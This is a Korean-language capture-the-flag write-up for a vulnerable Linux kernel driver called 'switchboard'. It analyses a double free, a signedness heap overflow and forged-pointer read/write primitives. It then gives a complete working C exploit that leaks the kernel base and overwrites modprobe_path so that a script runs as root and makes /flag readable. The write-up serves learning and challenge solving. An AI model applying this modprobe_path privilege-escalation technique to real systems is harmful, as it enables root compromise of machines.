switchboard

취약점 분석

1. buf_reset()의 Double Free

RST ioctl은 buf_reset()을 호출한다. 첫 번째 호출에서는 inuse를 0으로 바꾸기만 하지만, 두 번째 호출부터는 dev->buf를 해제한다. 문제는 해제 후 dev->bufNULL로 만들지 않고, freed가 이미 1인지도 검사하지 않는다는 점이다.

따라서 같은 객체에 RST를 세 번 호출하면 두 번째와 세 번째 호출에서 동일한 0x20 바이트 버퍼가 연속으로 kfree()된다. 이 환경의 SLUB freelist에는 같은 청크가 두 번 들어가며, 이후 같은 크기의 두 할당이 동일 주소를 반환한다.

static long buf_reset(unsigned long arg){
    struct switch_device *dev = get(selected);
    if(!dev)
        return -1;
    if(dev->inuse == 0){
        kfree(dev->buf);       // freed 값을 확인하지 않음
        dev->freed = 1;
        return 1;
    }
    dev->seek = dev->head;
    dev->inuse = 0;
    return 0;
}

BUF_SIZE는 32이고 sizeof(devices)는 24이므로 둘 다 동일한 0x20 크기 캐시에서 할당된다. Double Free 후 OBJ_NEW를 호출하면 새 객체의 buf와 리스트의 새 devices 노드가 동일한 청크에 배치된다. 그 결과 버퍼 I/O로 리스트 노드의 device, next, prev 포인터를 읽고 덮어쓸 수 있다.

static long obj_new(unsigned long arg){
    struct switch_device *dev = kzalloc(sizeof(struct switch_device),
                                        GFP_KERNEL_ACCOUNT);
    /* ... */
    dev->buf = kzalloc(BUF_SIZE, GFP_KERNEL_ACCOUNT); // 0x20 청크
    /* ... */
    return (long)add(dev);
}
 
static ssize_t add(struct switch_device* dev){
    devices *newdev = kzalloc(sizeof(devices), GFP_KERNEL_ACCOUNT);
                                                        // 24 -> 0x20 청크
    /* ... */
}

2. N_SET의 signedness 오류로 인한 Heap Buffer Overflow

N_SET은 사용자 인자를 검증하지 않고 int len에 저장한다. 음수를 설정하면 length()의 상한 검사에 걸리지 않으며, 반환 과정에서 unsigned long로 변환되어 매우 큰 값이 된다. 이후 rx_handle()은 사용자가 요청한 write() 길이를 그대로 copy_from_user() 길이로 사용한다. 따라서 32바이트 버퍼를 넘어 임의 길이의 힙 오버플로우가 가능하다.

제공된 익스플로잇은 이 경로 대신 Double Free를 사용하지만, 별도로 악용 가능한 취약점이다.

static unsigned long length(struct switch_device* dev){
    if((dev->len) > BUF_SIZE)
        return BUF_SIZE-1;
    return dev->len;  // 음수 int가 큰 unsigned long 값으로 변환됨
}
 
static long n_set(int arg){
    struct switch_device *dev = get(selected);
    if(!dev)
        return -1;
    dev->len = arg;   // 범위 및 음수 검사 없음
    return dev->len;
}
 
static ssize_t rx_handle(struct file *filp, const char __user *buffer,
                         size_t len, loff_t *off){
    /* ... */
    ret = length(dev);
    if(len < ret)
        ret = len;
    if(copy_from_user(dev->head, buffer, ret) != 0)
        return -2;
    /* ... */
}

3. 손상된 객체 포인터를 통한 임의 읽기와 쓰기

get()은 리스트 노드의 device 포인터를 검증 없이 반환한다. settings()는 반환된 객체의 t_settings에 값을 기록하고, rx_handle()tx_handle()은 객체 내부의 head, tail, seek 포인터를 그대로 사용한다.

Double Free로 devices 노드와 버퍼가 겹친 뒤 node->device를 위조하면 다음 primitive를 만들 수 있다.

  • node->device = target - 0x28로 설정한 뒤 SETTINGS(value)를 호출하면 target에 8바이트를 쓴다.
  • head, tail, seek를 원하는 주소로 조작한 뒤 read()를 호출하면 해당 주소를 읽는다.
  • head를 원하는 주소로 조작한 뒤 write()를 호출하면 해당 주소에 사용자 데이터를 쓴다.
static long settings(unsigned long arg){
    struct switch_device *dev = get(selected);
    if(!dev)
        return -1;
    dev->t_settings = arg;     // struct switch_device 기준 +0x28
    return (long)dev->t_settings;
}
 
static ssize_t rx_handle(struct file *filp, const char __user *buffer,
                         size_t len, loff_t *off){
    struct switch_device *dev = get(selected);
    /* ... */
    copy_from_user(dev->head, buffer, ret); // 조작된 head로 쓰기
    /* ... */
}
 
static ssize_t tx_handle(struct file *filp, char __user *buffer,
                         size_t len, loff_t *off) {
    struct switch_device *dev = get(selected);
    /* ... */
    copy_to_user(buffer+i, dev->seek, 1);   // 조작된 seek에서 읽기
    /* ... */
}

Exploit 과정

Step 1: Double Free 트리거

객체 0을 생성하고 선택한다. 첫 번째 RSTinuse를 0으로 만들고, 두 번째와 세 번째 RST는 동일한 dev->buf를 두 번 해제한다.

ioctl(fd, OBJ_NEW, 0);
ioctl(fd, OBJ_SELECT, 0);
 
ioctl(fd, RST, 0);
ioctl(fd, RST, 0);
ioctl(fd, RST, 0);

Step 2: 버퍼와 리스트 노드 중첩 및 Heap Leak

객체 1을 생성하면 Double Free된 0x20 청크가 객체 1의 버퍼와 객체 1의 devices 노드에 동시에 할당된다.

객체 1의 초기 len은 0이므로 첫 write()는 데이터를 복사하지 않지만, tailhead + 0x1f로 설정한다. 이어지는 read()는 겹쳐진 리스트 노드 내용을 반환한다. 오프셋 0에는 객체 1의 switch_device 주소가 있고, 오프셋 0x10에는 이전 노드인 객체 0의 devices 노드 주소가 있다.

ioctl(fd, OBJ_NEW, 0);
ioctl(fd, OBJ_SELECT, 1);
 
write(fd, buf, sizeof(buf));
read(fd, buf, sizeof(buf));
 
cur_device = *(uint64_t *)(buf);
prev_node = *(uint64_t *)(buf + 0x10);

Step 3: Fake switch_device 구성

객체 1의 버퍼는 객체 1의 리스트 노드와 겹쳐 있으므로, 버퍼 첫 8바이트를 덮으면 node->device가 바뀐다. 이를 prev_node - 0x28로 설정한다.

struct switch_device::t_settings의 오프셋은 0x28이다. 따라서 prev_node - 0x28을 가짜 객체 주소로 사용하면 가짜 객체의 t_settings가 정확히 prev_node->device와 겹친다. 이후 객체 1을 선택하고 SETTINGS를 호출할 때마다 객체 0 노드의 device 포인터를 원하는 주소로 바꿀 수 있다.

ioctl(fd, N_SET, 0x20);
*(uint64_t *)(buf) = prev_node - 0x28;
write(fd, buf, sizeof(buf));

임의 주소 target에 8바이트를 쓰는 과정은 다음과 같다.

ioctl(fd, OBJ_SELECT, 1);
ioctl(fd, SETTINGS, target - 0x28); // prev_node->device = target - 0x28
 
ioctl(fd, OBJ_SELECT, 0);
ioctl(fd, SETTINGS, value);         // *(uint64_t *)target = value

Step 4: CPU Entry Area에서 Kernel Base Leak

위 primitive로 cur_device가 가리키는 객체 1의 buf, head, tail, seek를 고정 주소 0xfffffe0000000004 부근으로 변경한다. 이 주소는 문제 커널의 CPU entry area이며 커널 포인터를 포함한다.

uint64_t cpu_entry = 0xfffffe0000000004;
for (int i = 0; i < 4; i++)
{
    ioctl(fd, OBJ_SELECT, 1);
    ioctl(fd, SETTINGS, cur_device - 0x28 + i * 8);
 
    ioctl(fd, OBJ_SELECT, 0);
    if (i != 2)
        ioctl(fd, SETTINGS, cpu_entry);
    else
        ioctl(fd, SETTINGS, cpu_entry + 0x1f);
}

조작 후 객체 0 노드의 devicecur_device로 복원하고 read()를 호출한다. 누출된 포인터에서 문제 커널의 고정 오프셋 0xe08e00을 빼면 커널 베이스를 구할 수 있다. modprobe_path는 커널 베이스에서 0x1850b20 떨어져 있다.

ioctl(fd, OBJ_SELECT, 1);
ioctl(fd, SETTINGS, cur_device);
ioctl(fd, OBJ_SELECT, 0);
ioctl(fd, N_SET, 0x20);
read(fd, buf, sizeof(buf));
 
kbase = *(uint64_t *)(buf) - 0xe08e00;
modprobe_path = kbase + 0x1850b20;

Step 5: modprobe_path 덮어쓰기

같은 방식으로 객체 1의 buf, head, seekmodprobe_path로, tailmodprobe_path + 0x1f로 변경한다. 객체 0 노드가 다시 객체 1을 가리키게 한 뒤 write()를 호출하면 rx_handle()copy_from_user()/tmp/ex\0modprobe_path에 기록한다.

for (int i = 0; i < 4; i++)
{
    ioctl(fd, OBJ_SELECT, 1);
    ioctl(fd, SETTINGS, cur_device - 0x28 + i * 8);
 
    ioctl(fd, OBJ_SELECT, 0);
    if (i != 2)
        ioctl(fd, SETTINGS, modprobe_path);
    else
        ioctl(fd, SETTINGS, modprobe_path + 0x1f);
}
 
char *new_modprobe_path = "/tmp/ex\0";
ioctl(fd, OBJ_SELECT, 1);
ioctl(fd, SETTINGS, cur_device);
ioctl(fd, OBJ_SELECT, 0);
ioctl(fd, N_SET, 0x20);
write(fd, new_modprobe_path, sizeof(new_modprobe_path));

Step 6: Usermode Helper 실행 및 Flag 획득

/tmp/ex/flag의 권한을 변경하는 스크립트를 작성한다. 실행 형식을 알 수 없는 파일 /tmp/dummy를 실행하면 커널이 usermode helper를 호출하며, 변조된 modprobe_path에 의해 /tmp/ex가 root 권한으로 실행된다. 마지막으로 /flag를 읽는다.

system("echo -ne '#!/bin/sh\nchmod 777 /flag' > /tmp/ex");
system("chmod +x /tmp/ex");
 
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
 
system("cat /flag");

Exploit Code

#define _GNU_SOURCE
 
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
 
#define RST 0x10
#define N_SET 0x20
#define OBJ_SELECT 0x30
#define OBJ_NEW 0x40
#define SETTINGS 0x50
 
int main()
{
    important("happy hacking!");
 
    uint64_t kbase, cur_device, prev_node, df_ptr, modprobe_path;
    char buf[0x20] = {0};
 
    uint64_t fd = open("/dev/switchboard", O_RDWR);
    if (fd < 0)
    {
        important("failed to open /dev/switchboard");
        return -1;
    }
    info("opened /dev/switchboard: %lu", fd);
 
    // double free bug
    ioctl(fd, OBJ_NEW, 0);
    ioctl(fd, OBJ_SELECT, 0);
 
    ioctl(fd, RST, 0);
    ioctl(fd, RST, 0);
    ioctl(fd, RST, 0);
 
    info("double free done");
 
    // leak kernel heap address
    ioctl(fd, OBJ_NEW, 0);
    ioctl(fd, OBJ_SELECT, 1);
 
    write(fd, buf, sizeof(buf));
    read(fd, buf, sizeof(buf));
 
    hexdump(buf, sizeof(buf));
    cur_device = *(uint64_t *)(buf);
    prev_node = *(uint64_t *)(buf + 0x10);
 
    info("node->cur_device: 0x%lx", cur_device);
    info("node->prev_node: 0x%lx", prev_node);
 
    // overwrite node->device as a prev_node->device-0x28
    ioctl(fd, N_SET, 0x20);
    *(uint64_t *)(buf) = prev_node - 0x28;
    write(fd, buf, sizeof(buf));
    info("overwrite node->device as prev_node->device-0x28");
 
    // overwrite prev_node->device[0~3] as cpu entry 0xfffffe0000000004
    uint64_t cpu_entry = 0xfffffe0000000004;
    for (int i = 0; i < 4; i++)
    {
        ioctl(fd, OBJ_SELECT, 1);
        ioctl(fd, SETTINGS, cur_device - 0x28 + i * 8);
 
        ioctl(fd, OBJ_SELECT, 0);
        if (i != 2)
            ioctl(fd, SETTINGS, cpu_entry);
        else
            ioctl(fd, SETTINGS, cpu_entry + 0x1f);
    }
    info("overwrite prev_node->device[0~3] as cpu entry 0xfffffe0000000004");
 
    // leak kernel base address
    ioctl(fd, OBJ_SELECT, 1);
    ioctl(fd, SETTINGS, cur_device);
    ioctl(fd, OBJ_SELECT, 0);
    ioctl(fd, N_SET, 0x20);
    read(fd, buf, sizeof(buf));
    hexdump(buf, sizeof(buf));
 
    kbase = *(uint64_t *)(buf)-0xe08e00;
    modprobe_path = kbase + 0x1850b20;
    info("leak kernel base address: 0x%lx", kbase);
    info("modprobe_path: 0x%lx", modprobe_path);
 
    // overwrite node->device as a prev_node->device-0x28
    ioctl(fd, OBJ_SELECT, 1);
    ioctl(fd, SETTINGS, prev_node - 0x28);
    info("overwrite node->device as prev_node->device-0x28");
 
    // overwrite prev_node->device[0~3] as modprobe_path
    for (int i = 0; i < 4; i++)
    {
        ioctl(fd, OBJ_SELECT, 1);
        ioctl(fd, SETTINGS, cur_device - 0x28 + i * 8);
 
        ioctl(fd, OBJ_SELECT, 0);
        if (i != 2)
            ioctl(fd, SETTINGS, modprobe_path);
        else
            ioctl(fd, SETTINGS, modprobe_path + 0x1f);
    }
    info("overwrite prev_node->device[0~3] as modprobe_path");
 
    // overwrite modprobe_path as /tmp/ex\0
    char *new_modprobe_path = "/tmp/ex\0";
    ioctl(fd, OBJ_SELECT, 1);
    ioctl(fd, SETTINGS, cur_device);
    ioctl(fd, OBJ_SELECT, 0);
    ioctl(fd, N_SET, 0x20);
    write(fd, new_modprobe_path, sizeof(new_modprobe_path));
    info("overwrite modprobe_path as /tmp/ex\\x0");
 
    // setting up the malicious script
    system("echo -ne '#!/bin/sh\nchmod 777 /flag' > /tmp/ex");
    system("chmod +x /tmp/ex");
 
    // trigger modprobe_path
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");
    system("/tmp/dummy");
 
    system("cat /flag");
 
    return 0;
}